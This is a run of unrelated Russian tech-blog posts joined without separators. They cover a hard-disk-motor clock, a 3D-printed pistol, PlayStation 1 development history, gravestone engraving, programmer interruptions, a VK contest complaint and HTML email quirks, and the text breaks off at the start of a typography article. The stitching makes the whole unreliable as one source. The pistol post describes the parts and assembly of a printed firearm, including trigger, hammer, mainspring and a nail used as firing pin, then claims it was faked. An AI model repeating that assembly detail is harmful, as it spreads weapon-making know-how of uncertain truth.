Диск разобрал, пластины, головки и электромагнит позиционирования снял, всю электронику выкинул. Остался голый дюралевый остов с закрепленным на нем синхронным трехфазным бесколлекторным моторчиком постоянного тока (BLDC — Brush Less Direct Current). Все ненужные ребра в дюрали вырезал дремельной фрезой.
Нашел две ферритовые чашки, намотал на глаз обмотки (число витков примерно рассчитал под требуемое выходное напряжение) в верхнюю и нижнюю чашки. Верхнюю чашку закрепил сверху на статоре, а нижнюю на роторе (на фотографии хорошо видно) — так получился вращающийся трансформатор, передающий энергию. Похожие по принципу работы трансформаторы стоят в блоке вращающихся головок видеоплейеров и видеомагнитофонов (они передают не питание, а сигнал с видеоголовок). Конечно, те трансформаторы намного качественнее моего, ферритовые чашки там точнее и зазор между ними совсем маленький. В центральное отверстие чашек поместил светодиод и фотодиод — оптопару, через которую будет передаваться код, переключающий светодиоды.
Вырезал две макетки — одну круглую — она стала ротором, другую прямоугольную, её прикрепил к днищу дюралевого каркаса диска — для главной схемы управления. На роторе смонтировал простенькую схемку — выпрямитель тока, подключенный к нижней чашке вращающегося трансформатора, и микроконтроллер, управляющий восемью SMD-светодиодами. Собрал схему управления — микроконтроллер опрашивает чип электронных часов, формирует управляющие фазы для вращения моторчика, и передает данные наверх, на схему отображения (которая вращается). Написал софт для микроконтроллеров.
Конечно, звучит все вроде просто. Но на самом деле ваялось довольно долго, несмотря на наличие внутрисхемного эмулятора микроконтроллеров. Пришлось решить довольно много проблем — перемотать трансформатор, подобрать стабилизацию тока через фазы моторчика (если ток слабый, то не получалось быстро раскручивать мотор, а если слишком сильный, то мотор перегревался и обмотки замыкали), сделать софт четко синхронный с временем (иногда говорят real time code) — чтобы не дрожало получающееся изображение и стабильно вращался мотор, и в то же время читался чип часов и обрабатывался интерфейс пользователя (энкодер и кнопка, с помощью которых работает меню установки и коррекции времени и будильника), а также информация синхронно передавалась в блок ротора. А софт для блока ротора приходилось доводить по принципу прошил/проверил/не_заработало, так как эмулятор к вращающейся макетке не подключишь. Но тем не менее решать многочисленные проблемы было интересно.
Кого интересуют скучные технические подробности проекта HddClock — добро пожаловать на страничку microsin.ru/content/view/733/44/. Там можно скачать исходники и схемы часов. Похожую конструкцию я видел на харабре — http://habrahabr.ru/blogs/gadgets/86890/.
Видео, снятое мыльницей Canon PowerShot A520. К сожалению, мыльница не дает сделать видео длиннее 30 секунд, и мои режиссерские способности не позволили показать, как работает все меню (коррекция хода часов), как часы запускаются, как работает будильник и т. д. Качество тоже не ахти (в реале часы выглядят намного лучше) — слишком маленькая частота кадров. На видео видно мерцание цифр, которого на самом деле нет — такой эффект получается из-за стробоскопического эффекта между частотой вращения и частотой кадров снятого видео. Звук тоже плохого качества — он не такой, как получился на видео. Светодиоды теперь красные, поменял после ремонта — неудачно попытался выключить будильник и попал пальцами в ротор.
UPD: по многочисленным просьбам обновил архив с фотографиями, и на сайте выложил 3 дополнительные фотографии с аннотациями (фото имеют метки с подписями — что где стоит, для чего нужно и как работает).
UPD110220: один парень с ником dccharacter тоже сделал похожие часы и выложил видео на YouTube. Поздравляю, коллега!
Есть 3д-принтер, есть чертежи. Что еще надо для того, чтобы напечатать пистолет?
Я не особенно разбираюсь в оружии, поэтому могу бессовестно лажать с описанием и названием некоторых частей. Исправления приветствуются. Так же в комментариях приветствуется срач, треш, угар, содомия, теории заговора, мнения «теперь все будут печатать пистолет и меня убьют» и «теперь я напечатаю пистолет и не буду бояться гопников в бутово».
Не приветствуются вопросы «стреляет ли он?» — я сам не пробовал и вообще, читайте дисклеймер в конце статьи.
Как выглядит ээээ… устройство — вы можете увидеть на первой фотографии. А состоит он из 16 деталей(для справки — пистолет макарова состоит из 32 деталей):
Общий вес — 162 грамма, правда он может отличаться в зависимости от заполнения деталей. Подозреваю, что заполнение надо было настроить на максимум, но я этого не сделал. Вес потраченного пластика — чуть больше из-за печати подложек и опор.
Крепления — штифтовые. В соединяющихся деталях есть совпадающие отверстия, в которые после совмещения этих деталей вставляется штифт(на фотографии с деталями — это трубочки в нижней левой части)
Девайс был напечатан на принтере UP! из компании 3DPHOME. Из-за маленькой рабочей области его пришлось печатать в 4 захода, и еще два раза печатать сломанные во время сборки детали. Общее время печати — что-то около 20 часов.
Рамка пистолета с пусковой скобой:
Отверстие для фиксирования ствола в рамке:
А вот и ствол с ответной частью, которая вставляется в рамку и фиксируется поворотом:
Вот тут отмечены два положения — зафиксировано и нет:
Рукоятка:
Крепится к рамке с помощью штифта:
Вот так:
Кстати, из-за печати в комнате, в которой то открывалось, то закрывалось окно на рамке появились пара трещин:
Как я понимаю, из-за неравномерно теплового расширения пластика. Пришлось капнуть туда ацетона и сильно сжать рамку примерно на 20 секунд — трещина склеилась.
Переходим к механизму пистолета. Спусковой крючок(то, на что нажимаем пальцем), совмещенный со спусковой тягой(связывает крючок и все остальное) и с шептало(штука для удержания крючка при взводе).
Он же, но с надетой на него возвратной пружиной(возвращает шептало и спусковой крючок на место после нажатия — нужно в основном для удобства перезарядки):
Вот выемка в рамке для одного конца спусковой тяги:
Прорезь для спускового крючка:
Вот так выглядит установленная тяга снаружи:
А так изнутри:
При нажатии на крючок возвратная пружина сжимается:
Чтобы вернуть его в первоначальное положение после отпускания, и для возможности перезарядки одним нажатием на курок.
Названия для следующей части я не нашел, но ее можно назвать рамкой ударно-спускового механизма:
Помните три дырки в рамке? Такие же три дырки и тут — так две рамки крепятся друг к другу. Но об этом позже.
Это курок и его штифт для его крепления:
Курок вставляется в рамку и крепится там штифтом:
За счет того, что в креплении используется только одним штифт, он может двигаться вот от такого положения:
До такого(и даже чуть больше):
На предыдущей фотке, кстати, изображены части боевой пружины — две улитки. Вот такие(они одинаковые):
Можно заметить, что отверстие в центре не круглое, а с зацепом. Им улитки крепятся за рамку для защиты от проворота при выстреле. Вот так, с одной и с другой стороны:
Далее они соединятся вот этими двумя деталями:
Вот как их назвать, я точно не знаю. Служат они для крепления боевой пружины к курку. Для чего их две, причем одна свободно вращается на другой — я не знаю. В первые разы внутренняя деталь ломалась почти после каждого выстрела, помогла печать с установкой детали вертикально(чтобы слои печатались перпендикулярно оси) и окунание в ацетон. Кстати, непрезентабельный внешний вид пружен тоже связан с ацетоном — я немного недосушил детали и под верхней пленкой образовалось пространство. На характеристики это не влияет.
Вот так выглядит ударно-спусковой механизм в сборе:
Теперь можно взять вот эти три штифта и установить его в рамку:
Штифты входят с усилием, но пальцем это сделать вполне возможно:
Пистолет почти собран, остался только ствол:
Один пережил окунание в ацетон, а второй оставлен так как напечатался, контрольная группа:
Вот механизм в сборе:
При нажатии на курок, он оттягивает боевую пружину и входить в зацепление с шепталом:
И теперь только и ждет нажатия крючка, чтобы ударить со всей силы по ударнику(он должен быть на месте дырки в рамке спускового механизма):
Ударник представляет собой гвоздь, обрезанный до такой длинны, чтобы курок ударив по нему, передал усилие удара на капсуль патрона(он, кстати, вставляется в ствол)
Стреляем:
► Дисклеймер
Все фотографии, приведенные выше — плод работы в фотошопе и 3дмаксе, а текст — выдумка. Мы не печатали пистолет, а просто пошутили. Да-да, пошутили. *зловещий смайлик*
Напоминаю, что подписаться, чтоб не пропустить новые обзоры и статьи можно на странице компании(кнопка «подписаться»), или в вашей любимой социальной сети: Вконтакте, в Гугл+, в Твиттере
Кстати, если какая-нибудь компания предложит мне поиграться 3д-принтер, я не буду против. С вас принтер, с меня — статья.
В конце первой половины 90-х на рынок СНГ попала первая консоль от фирмы Sony — Playstation 1 или PSX. Ее можно считать уникальной со многих точек зрения, но для всех нас главным отличием пожалуй было то, что наконец-то в играх появилось полноценное видео, вменяемая 3D-графика, а также возможность сохранятся не при помощи пароля, судорожно ища бумажку(да простят меня читатели за неловкое сравнение, возникшее в их головах), а, как и подобает белому человеку, на цифровой носитель.
На самом деле эта консоль обозначила собой тихую революцию и в программировании игр. Именно об этом я бы и хотел рассказать сегодня. И более того, если вы захотите написать свою игру для пылящейся в кладовке приставки, отомстив таким образом за творческое бессилие, испытанное в отрочестве, то под катом вы сможете получить представление о том, как это сделать.
Некоторые факты
Это важно знать:
- Playstation была первой распространенной консолью, которая поддерживала нормальное воспроизведение полноцветного видео. Для этого в консоли имелся специальный чип, который поддерживал аппаратное декодирование формата, близкого к JPEG. Но тем не менее разработчикам приходилось вручную отрисовывать каждый кадр и синхронизировать звуковую дорожку.
- Из-за аппаратных ограничений было невозможно за один раз скопировать в видеопамять битмап размером больше 256x256 пикселей — так что все панорамы на заднем плане рисовались в 2-4 прохода.
- Для игры с пиратских дисков нужно было производить операцию «чипования» консоли, для этого на материнскую плату консоли припаивался специальный контроллер, дававший Playstation стойкую продолжительную иллюзию того, что дешевая болванка в ее недрах является лицензионным диском. Найти нечипованную консоль в СНГ скорее всего было невозможно. На западе эта же проблема решалась более легально — для этого использовался трюк с подменой диска: во время загрузки BIOS вставлялся лицензионный диск, а сразу же после него болванка с игрой, которую требовалось запустить.
- Memory card — обычная флэшка с емкостью 128 кбайт.
- Для Playstation таки существовала мышь. Но кто знал об этом?
- На консоли можно было проигрывать Video CD. Но кто знал, где их можно достать?
- Выпуск Playstation 1 на бескрайних просторах дальней Азии был приостановлен только лишь потому, что Sony нужны были большие производственные мощности, чтобы увеличить выпуск Playstation 3. Днем траура можно считать 23 марта 2006 года.
- Большинство игр для Playstation имеют разрешение 320x240.
- Практически все китайские клоны Playstation, имеющиеся на рынке сегодня, запускают игры в режиме эмуляции, железо же отличается от оригинального, что ведет к неработоспособности некоторых игр. Зато вы сможете посмотреть купленный в соседней палатке DVD.
- Последняя игра для Playstation, не являющаяся ни переизданием, ни кустарной поделкой, вышла в 2005 году. Всего игр было выпущено около 8000.
- Также как сейчас проводятся мероприятия вроде Perl Workshop, тогда проводились слеты разработчиков для обмена опытом и демонстрации прототипов игр, находящихся в разработке. Материал каждого такого слета выпускался на диске, содержимое которого было очень похоже на то, что было на черных демо-дисках, поставлявшихся вместе с Playstation. Если соберете их все, то, сможете смотреть на местных филателистов свысока.
- Самым распространенным приемом «урезания» игр с целью создания пиратских сборников была замена всех видеофайлов на короткие «заглушки» — секундные клипы с черным экраном.
- В игровых клубах имели место драки из-за того, что места на картах памяти всем не хватало. Вообще же относительная дешевизна Playstation привела к тому, что первые игровые клубы массово открывались именно на ее базе. Так было в периферии, в столицах же клубы с Sega или просто компьютерами были и раньше.
С чего начинается разница
Мало кто знает, но программирование для других распространенных консолей того времени представляло сущий ад(с точки зрения программиста не питающего любви к ассемблеру). Геймдев того времени скорее напоминал современное программирование микроконтроллеров, со всеми вытекающими последствиями — отсутствием нормального интерфейса к файловой системе, ручное генерирование частоты звука, обращение к I/O портам для каждой операции, и ассемблер, ассемблер, очень много ассемблера. Были и прочие мелкие радости вроде нескольких процессоров в одной консоли, или же оперативной памяти не имеющей непрерывного диапазона. Всех мелочей и не припомнишь. Единственной приставкой того времени, которая могла бы похвастать гуманизмом по отношению к программистам была Panasonic 3DO, которая все же не сыскала популярности в СНГ(да и в остальном мире тоже).
Чтобы понять ту степень безысходности, которая имела место при программировании для тогдашних наиболее распространенных приставок взгляните на эти характеристики:
| Консоль |
Процессор |
Объем ОЗУ |
Ограничения носителя |
Объем видеопамяти |
| Dendy/Nes |
1,66-1,79 Мгц |
2 КБ |
48 КБ |
2 КБ |
| Sega Mega Drive |
7,61 Мгц |
64 КБ |
4 МБ |
64 КБ |
| Playstation 1 |
33,8688 МГц |
2 МБ |
около 700 МБ |
1 МБ |
Конечно, имели место хитрости с целью увеличения возможностей картриджных консолей — картридж, по сути дела,электронная схема, со множеством выводов, далеко не все из которых были предназначены для считывания данных из ПЗУ картриджа. Что можно разместить на схеме? Да что угодно — дополнительное ОЗУ, контроллер ПЗУ с возможностью маппинга данных больших игр в допустимое адресное пространство ввода-вывода. Главное, чтобы консоль поддерживала интерфейс для взаимодействия с подобными устройствами картриджа. И она, как правило, поддерживала! Таким образом программирование игр не сводилось только к разработке кода, порой требовалось «доделывать» игру аппаратно, чтобы хоть как-то превзойти скудные возможности консолей того времени. Однако, немногим из многих, имеющих Dendy на постсоветском пространстве,посчастливилось иметь дело с картриджами, вмещающими существо мифическое и полубожественное — а именно «батарейку», на которую можно было бы сохранить игру.
Сие непотребство закончилось с приходом Playstation: во-первых консоль обладала достаточно внушительными характеристиками и могла конкурировать с компьютерами того времени на которых работал DOS(что обусловило немалое число игр, которые были портированы с PC на Playstation), во-вторых игра теперь располагалась на компакт-диске, что означало невозможность каких-либо аппаратных ухищрений. Короче говоря, приход Playstation положил раздел двум эпохам — той, когда костыли считались хорошей практикой, и той, когда костыли стали считаться костылями. Но когда одна эпоха сменяет другую всегда появляются ретрограды, свято чтущие былые заветы — именно благодаря их самоотверженному труду на рынок попали несколько игр, которые работают только на самых ранних ревизиях Playstation. Так, меняя адреса портов устройств от ревизии к ревизии, инженеры Sony мягко, но настойчиво, давали разработчикам понять, что официальная SDK и подробная документация были даны им неспроста.
Программирование для Playstation было настолько простым, что помимо специальных аппаратных станций(Dev Unit), продаваемым профессиональным разработчикам игр по цене порядка 35 000 $, Sony выпускала специальную версию консоли для домашних разработчиков, называемую Net Yaroze и сравнимую по стоимости с самой приставкой.
Как это делалось
Выше уже было сказано о том, что для ранних консолей программирование велось почти исключительно на ассемблере. В случае же Playstation де-факто стандартом разработки стал язык С. Нормальный С, без ассемблерных вставок, сношений в порты и каких либо серьезных ограничений — вам больше не нужно было писать свою реализацию strncat или же писать свою библиотеку для ввода-вывода, если вы просто хотели прочитать файл с диска.
Еще одним немаловажным отличием от предыдущих консолей стало то, что разработчик получал полноценный API интерфейс для всех аппаратных возможностей консоли вроде сопроцессора для векторных вычислений. SDK, поставляемая Sony имела обертки для всего, что только могло пригодиться, что давало возможность по-настоящему абстрагироваться от особенностей консоли. В результате портирование игр из-под DOS часто оборачивалось только переписыванием слоев, отвечающих за графику и звук.
В целом же разработка для типового программиста носила такой характер: к Playstation через разъем, указанный на рисунке, подключался модуль разработки, подключавшийся к компьютеру. Через этот мост происходила загрузка EXE-файла в оперативную память приставки, и через него был возможен вывод отладочной информации на компьютер. Так же, как сейчас многие кустарные веб-студии испытывают нехватку техники Apple для тестирования своих приложений, разработчики игр для Playstation испытывали нехватку Dev Unit'ов. Таким образом большой непонятный порт на задней панели приставки должен служить немым напоминанием о том, что некоторые вещи не меняются даже спустя почти два десятилетия.
Конечно, далеко не каждому из разработчиков хватало самообладания, чтобы написать игру на опостылевшем С. И тогда в ход шло коронное оружие амбициозного разработчика — самодельный язык программирования. Достоверно известно, что как минимум 2 серии игр постигла такая участь — Crash Bandicoot, который был написан на самопальном диалекте лиспа, а также вся линейка Final fantasy до 9 части, движок которой перекочевал через кучу платформ и имел свой собственный интерпретируемый ассемблер. Про создание обеих игр можно почитать тут:
Crash Bandicoot:http://all-things-andy-gavin.com/2011/02/02/making-crash-bandicoot-part-1/
Final fantasy: http://q-gears.sourceforge.net/gears.pdf
Как это делалось у нас
Значимость Playstation также в том, что ее диски могли быть прочитаны на любом компьютере и записаны на нем же. Что породило невиданную для остальных консолей волну пиратства. Теперь для того, чтобы сделать перевод игры достаточно было иметь дизассемблер для архитектуры MIPS, а также пишущий CD-ROM. Возможно именно тот факт, что для перевода этих игр требовалось столь мало породило столь плохое качество первых переводов. Можно расценивать это как идеальную иллюстрацию деления людей на технарей и гуманитариев: когда у человека хватало знания английского аккурат настолько, чтобы изучить справочник к дизассемблеру, на выходе мы получали перевод столь обильно сдобренный жаргоном и матом, что сюжет игры несколько терялся; с другой же стороны, когда выдранные отладчиком тексты, пересылались на перевод желающему подработать студенту филфака, на выходе получался настолько литературный и оторванный от сути перевод, что редкий технарь мог понять, как же именно пройти описываемый квест.
Другой стороной относительной легкости модификации программного кода игр стала возможность собирать несколько игр на один диск, на радость ограниченной в средствах детворе. Для самых популярных игр вшивались тренеры — загрузчики,которые до смерти запатчивали декремент жизней, патронов и т.д.
Демосцена была на удивление мала и толком не образовалась и по сей день. Поэтому я настоятельно прошу всех, кто имел хоть какое-то отношение к пиратству игр для консолей рассказать об этом! Я буду очень благодарен тем, с кем смогу пообщаться на эту тему подробно.
Особенности геймдева
Массово игры для Playstation перестали выходить примерно в 2002-2003 году, но энтузиасты не сдаются и пытаются продолжать это благородное дело. Сделать это можно двумя способами — именно столько приличных SDK существует для Playstation сегодня. О том, где можно достать обе вы сможете прочитать в конце.
Psy-Q
Это официальная SDK, выпущенная Sony для профессиональных разработчиков игр. Содержит в себе компилятор С, а так же все необходимые библиотеки. Имеется также множество инструментов для обработки графики и приведения ее к формату,пригодному для обработки Playstation, часть инструментов уже бесполезна ввиду наличия современных аналогов, часть существует непонятно для чего — документация к ним утеряна.
Данная SDK правда позволяет писать игры высокого качества, но имеет один недостаток — она рассчитана для работы под управлением ОС Windows 95-98, уже на XP вы можете столкнуться с проблемами. Но даже с ней создание игр, использующих3D-модели будет затруднено — в те времена использовались довольно специфичные 3D-редакторы, а SDK содержит лишь инструмент для конвертации моделей из форматов многолетней давности.
Вообще, эту SDK стоит попробовать только лишь для того, чтобы понять на чем приходилось работать программистам того времени и насколько несовершенны были их инструменты по сравнению с сегодняшним днем.
PSXSDK
Начиная с 2008 года на свет появилась полностью открытая SDK, базирующаяся на компиляторе GCC и развивающаяся по сей день. Она позволяет создавать только 2D-игры — ну или, если вы чувствуете в себе силы написать движок для рендеринга 3D на С, то вам дороги все открыты. Написать видео-проигрыватель на ней тоже будет проблематично, но в целом это лучший вариант для начала программирования.
Из приятных плюсов — при помощи этой SDK можно скомпилировать такие вещи как gzip, libpng и т.д. — любой современный plain C код. Так у автора получилось скомпилировать Lua ранних версий для работы на Playstation. Поэтому, если вы знаете какую-либо библиотеку, рассчитанную на работу в микроконтроллерах, реализующую базовую работу с 3D-графикой вроде рендеринга полигонов или маппинга текстур, то это будет хорошим подспорьем для проекта.
Документация на данный момент пишется мной, причем в свободное от работы время. Зато есть примеры кода, используя которые, свой Super mario или аналог почти любой флэш-игры написать более чем возможно.
К тому же данная SDK успешно работает как под Windows, так и под Linux. Да чего греха таить — подо всем под чем вы только сможете собрать ее.
Коммьюнити
Сообщество энтузиастов поделено на 2 группы, в зависимости от использования SDK. При этом группа, которая использует Psy-Q имеет более «железную» направленность, вроде моддинга консолей. Таким образом происходит распыление усилий и без того небольшого числа людей. Разнятся и места обитания членов обеих коммьюнити:
Psy-Q:
irc: irc.eversible.com #psxdev
форумы:http://psxdev.net/
PSXSDK:
irc: irc.freenode.net #unhaut
форумы:http://unhaut.fav.cc/forums
сайт проекта:http://code.google.com/p/psxsdk
Если вам известны какие-либо русскоязычные коммьюнити, занимающиеся разработкой под Playstation или переводом игр, или же вы занимались переводами этих игр в свое время, или же у вас остались какие-то инструменты или документация от людей,которых вы знали и которые этим занимались, пожалуйста напишите мне! Более того, если вы обладаете сведениями об аппартно-независимых С-библиотеках для рендеринга 3D-графики, которые к тому же нетребовательны к ресурсам, то опять таки — пишите!
Когда я устроился на работу мне поначалу доставляли удовольствие такие диалоги:
— Ты устроился на работу? — Да!
— И где ты работаешь? — На кладбище!
— О, БОЖЕ!
Я причастен к мемориальной доске Валерия Лобановского, которую повесили у входа в главный корпус ОНПУ.
В процессе печати я чуть не запорол верхний значок, и костюм Лобановского. Зато узнал, кто он такой. Но не понимаю, зачем Политеху эта табличка, но мне, собственно, все равно.
Впрочем, хочу сказать, что «страшно негативной энергетики» я на кладбище не ощущаю. Наоборот, первая зарплата, к примеру, у меня вызвала дикий восторг! В дальнейшем я стал гундеть, что этих денег мне мало, но сейчас не об этом.
Да и работа у меня со свободным графиком, зимой прихожу за зарплатой, которая платится мне стабильно, не смотря ни на что, так что в целом неплохое место.
Но работенка пыльная (гранитная пыль всюду), шумная (в цеху выбивают портреты, буквы, жужжит мой станок), и добираться трудно, да.
«А что делает дизайнер на кладбище?» — спросите вы.
«То же, что делают почти все дизайнеры.» — отвечу я — «Делаю картинки.»
НАДГРОБКИ ТРИДЭ
Я, к примеру, делаю эскизы памятников для клиентов. Самих клиентов я вижу очень редко, все через начальника. Он мне рисует на листиках, что надо, говорит что из какого камня делается, какие коемочки-колевочки, какая форма чего и как.
Я делаю это все в связке Rhino + Maxwell Render, печатаю, несу листик начальнику, он выражает свое довольство или недовольство, после чего я либо иду домой, либо иду переделывать, либо гравировать. А основная моя задача — рисование картинок для их дальнейшей гравировки станочком на гранитных плитах. Итак…
ГРАВИРОВКА
На мои плечи приходятся картинки чего-то, что как-то связано с умершим. Например умер рыбак — нарисуй берег речки с мостиком и камышами. Моряк — рисуй корабль. У человека была Жигули — Жигули рисуй. Летчику самолет. Земли крестьянам, заводы — рабочим.
Портреты я не делаю (сделал всего пару штук включая Лобановского), тонкая работа, люди очень требовательны к портретам. Станок не может обеспечить такое качество, а если его еще и глюканет…
Как получается изображение?
Полированный гранитный камень имеет черный цвет. Без полировки — серый, шершавый.
С помощью алмазной иглы станок создает на полированном памятнике маленькие углубления (сбивает полировку). Свет в них отражается не так, как от полированной поверхности, за счет чего мы видим силуэты.
Станочек проходит строчка за строчкой изображение сверху вниз, называется он «Панно-граф Лидер 600», построен он был в далеком 2006 году (а гарантии уже 4 года как нет, но он до сих пор работает), в те времена я еще даже пары не прогуливал, и уж тем более понятия не имел, какая работа меня ждет.
Станок подключается через LPT порт к компу. Управляется станок он напрямую с компа, станок же, в свою очередь, не имеет даже своей памяти. При включенном требовательном приложении (например, Unreal Tournament 3 или рендеринг в Maxwell Render) станок начинает дергаться, «тупить», что ухудшает качество картинки. Не насилуйте компьютер во время гравировки.
Что делать в Фотошопе?
При подготовке изображения стоит помнить о том, что цветопередача изображения на гранитных плитах все-таки слабовата, оттенки серого получаются плохо. Поэтому важно навести все контуры, детали должны пестрить контрастом (от черного к белому) на экране, иначе на плите получится сплошная серая мазня. Мягкие переходы чаще всего выглядят пятнами. Лучше избегать картинок с глубиной резкости.
Готовый результат надо сохранить в формате bmp, grayscale, 8 bit.
Ничего другого программа управления станком не воспринимает.
Разрешение: 85 пикс/дюйм. Макс размер изображения 58x36 см.
Сложности
Описывать все, с чем может столкнуться дизайнер, при работе с гравировочной машиной в подробностях не буду. Скажу лишь, что изображение должно быть там где надо, не промахнуться, не напечатать вверх ногами (было дело), все детали должны быть хорошо очерчены, игла не сильно прижата или отпущена (она умеет царапать или не добивать местами), станок должен быть крепко зафиксирован (тоже было дело). И лучше недобить, чем перебить, пусть яркости будет чуть меньше, вручную можно догравировать.
А еще никто не застрахован от какого-то внезапного глюка, все бывает.
А если вам подсунули хреновый шнур — то от плохого контакта может быть еще много чего интересного.
Душевный аспект
Умирают люди на земле, так в природе заведено. В этом нет ничего страшного или удивительного. Но бывают и действительно грустные случаи, о которых обычно не задумываешься. Умирают дети, родители просят нарисовать на плите спящего ангелочка.
Теперь вас ничем не удивить.
Во многих компаниях программистам запрещают работать в наушниках или отвлекают их по мелким вопросам. Вероятно, причина кроется в плохой информированности менеджеров и других сотрудников, насколько вредно так делать.
Крис Парнин (Chris Parnin) из технологического института Джорджии решил восполнить этот недостаток и опубликовал чрезвычайно насыщенную статью со ссылками на различные исследования по этой теме.
Для начала, несколько фактов, которые относятся ко всем работникам интеллектуального труда. Задача, прерванная по ходу выполнения, занимает в два раза больше времени и содержит вдвое больше ошибок, чем та же задача, которая выполнялась без прерывания (Czerwinski:04). Офисные сотрудники вынуждены отвлекаться при выполнении 57% задач (Mark:05). Опросы говорят о том, что сотруднику требуется в среднем 15 минут, чтобы вернуться в нормальный ритм после того, как его отвлекли (vanSolingen:98).
Крис Парнин провёл собственное обширное исследование именно среди программистов (pdf). Было проанализировано около 10 000 рабочих сессий в Eclipse и Visual Studio от 414 разработчиков. Вот что обнаружилось:
• Программисту требуется от 10 до 15 минут, чтобы начать писать код после возобновления работы.
• Программисту обычно удаётся всего одна 2-часовая рабочая сессия без отвлечений в течение рабочего дня.
• В большинстве случаев после возобновления работы программист прокручивает проект в определённые области для восстановления контекста.
• Программисты вставляют специальные ошибки компилирования в качестве «напоминаний».
• Diff исходного кода служит как последний шанс восстановить события, но может быть громоздким для этой задачи.
Крис Парнин с коллегами изучили, в какие рабочие отрезки хуже всего отвлекать программиста. Исследования с замеров диаметра зрачков показали, что наибольший вред несёт прерывание работы в период максимальной загрузки памяти.
При этом программисту требуется как минимум 7 минут, чтобы перейти из состояния максимальной активности памяти в состояние минимальной активности. Экстраполировав эти результаты на рабочие сессии программистов, Парнин обнаружил, что хуже всего отвлекать программиста во время выполнения следующих задач:
- Во время изменения кода, особенно во время одновременного изменения кода в нескольких местах.
- Активность по навигации и поиску.
- Понимание потока данных и порядка выполнения инструкций в коде.
- Окно IDE не в фокусе.
Крис Парнин в своём блоге описывает некоторые особенности работы человеческой памяти и публикует предварительные результаты функциональной магнитно-резонансной томографии программистов во время работы.
Я сам из Латвии, вчера пришло письмо от администрации Вконтакте, в котором они рассказывали о новом конкурсе для иностранных посетителей. В течение двух недель привлекаешь по своей ссылке новых юзеров, лучшие 30 приглашающих по регионам получают в подарок iPod nano, а в общем рейтинге призы уже посолиднее — ноуты, смартфоны и т.д.
Так уж получилось, что на мой игровой портал ежедневно заходит по 15 тысяч человек и я знаю админов других местных ресурсов. Написал о конкурсе у себя, попросил написать других, прошёлся по скайпу, латышским социалкам и постепенно вылез на первое место по Латвии.
Потом решил устроить акцию для своих посетителей и за кое-какие бонусы на сайте предложил им приглашать своих друзей. Пригласил 5 друзей — бонус.
Ребята активно подключились и я выбрался на первое место в общем рейтинге. Отрыв был довольно большой и с чувством выполненного долга я отправился спать, чтобы сегодня утром обнаружить, что из конкурса меня тихо удалили. Без каких-либо объяснений.
Видимо не хотели огорчать остальных участников.
Зато очень огорчили меня.
P.S. Обнаружил в сообщениях скриншот момента обнуления — pic.ipicture.ru/uploads/091106/KdK32NvX0f.jpg
Довольно часто наши клиенты устраивают регулярные рассылки с новостями. Почти всегда их не устраивают текстовые рассылки или простое оформление HTML рассылок. Наши дизайнеры вовсю креативят, а мы потом набиваем шишки при верстке их макетов с корректным отображением во множестве почтовых клиентов.
Ниже список встретившихся нам особенностей и способы их разрешения (как то упорядочить их мне не удалось, поэтому всё идет единым списком)
- Чтобы не было проблем с кодировками — верстаем в UTF-8, в HEAD нужно указазываем <meta http-equiv=«Content-Type» content=«text/html; charset=utf-8»>;
- Mail.ru, почты Яндекса и Рамблера вырезают весь css, поэтому верстать надо с помощью HTML3.2;
- Mail.ru делает большие отступы у элементов, чтобы их не было надо обернуть письмо в <div id=«mailsub»>;
- Mail.ru (и похоже что и Яндекс) превращает отступы(\t) в коде в поэтому код не должен отбиваться табами;
- В текстовой версии нельзя использовать html entities, потому что это текстовая версия, а не HTML. Также, в текстовой версии нельзя использовать unicode символы, которых нет в windows-1251, т.к. mail.ru зачем то перекодирует письмо в эту кодировку;
- Outlook 2007 не дает использовать фоновые картинки. Мы правда нашли 1 хак — можно указать background-image для body. Тогда этот Outlook покажет фон. Но хак не работает, если мы используем background-position или background-repeat. В web клиентах этот фон не будет показан, поэтому нужно дублировать его указание — в style у body для Outlook, и в background у «корневой» table для веб клиентов;
- Outlook 2007 делает поля сверху у элементов типа «div». У «table» с «cellpadding=0 cellspacing=0» таких полей нет;
- В последних рассылках Диснея нам пришлось полностью отказаться от использования фоновых картинок, т.к. при этом были проблемы с позиционированием картинок поверх фона и делать основной макет состоящим из набора картинок внутри таблицы. Текст при этом тоже включается в картинки,
ссылки расставляются с помощью areamap areamap использовать нельзя, т.к. в Gmail по таким ссылкам нельзя кликнуть. Надо нарезать письмо на картинки и сохранять их таблице;
- В Gmail если у картинки, которая является единственной в ячейке таблицы, появляется 3px отступ снизу, его можно устранить, указав style=«display:block» этой картинке;
- В Рамблер картинки, указанные в теле письма, сливаются на их сервер с подменой ссылок, соответственно если смотреть рассылку отправленную со своих серверов, закрытых извне http авторизаций, то картинки не будут отображаться;
- В Яндексе если тело письма поместить внутрь {strip} (при этом вырезаются все переносы строк), то иногда в теле письма появлятся непонятные переносы, которые могут попасть на значение аттрибута src или href. При этом картинки могут не отображаться, а ссылки — не открываться;
- Чтобы в IE6 внизу картинок не отображался 3px отступ, надо, чтобы между тегом картинки и тегом закрытия ячейки не было пробельных символов (при этом допускается использование для переноса строки комментария вида:
<td>
<img src="" alt="" /><!--
--></td>
- Outlook 2007 иногда не ресайзит растянутые картинки. Надо использовать картинки один к одному как указано в макете;
- Иногда бывают в Outlook 2007, когда картинка, помещённая внутрь какого-то td, у которого задан colspan или rowspan, обрезается вдоль продолжения линии границы соседних ячеек, которые объединяет colspan или rowspan. В этом случае отображается часть целого изображения-картинки. Проблема не решалась без разрезания объединённой ячейки на несколько одиночных и дробления проблемной картинки на несколько частей, каждая из которых занимала бы одну простую ячейку таблицы;
- На некоторых инсталляциях Outlook письмо без переносов строк начинает корежить очень странным образом. Можно делать без переносов отдельные таблицы, но очень длинных строк надо избегать;
- В The Bat! при использовании прозрачных гифов прозрачные точки заменяются чёрными.Поэтому «прозрачные» распорки должны заполняться цветом фона, на котором они расположены
Когда я упоминаю название какого то хостера почты, то имеется в виду его веб-интерфейс, а не POP/IMAP
Второй пункт из этого списка более обстоятельно описан в топике «10 рекомендаций по html-верстке электронных писем»
Множество людей, включая дизайнеров, думают, что типографика – это только выбор гарнитуры, размера шрифта и того, должен ли он быть нормальным или полужирным. Для большинства людей на этом все и заканчивается. Но для получения хорошей типографики нужно гораздо больше и как правило это детали, которые дизайнеры часто игнорируют.
Эти детали дают дизайнеру полный контроль, позволяет ему создавать прекрасные и последовательные с точки зрения типографики решения в дизайне. Хотя все это применимо для различных типов носителей, в этой статье мы сосредоточимся на том, как их применить к веб-дизайну с использованием CSS. Вот 8 простых путей с помощью CSS улучшить типографику и, следовательно, общее удобство дизайна.
1. Размеры
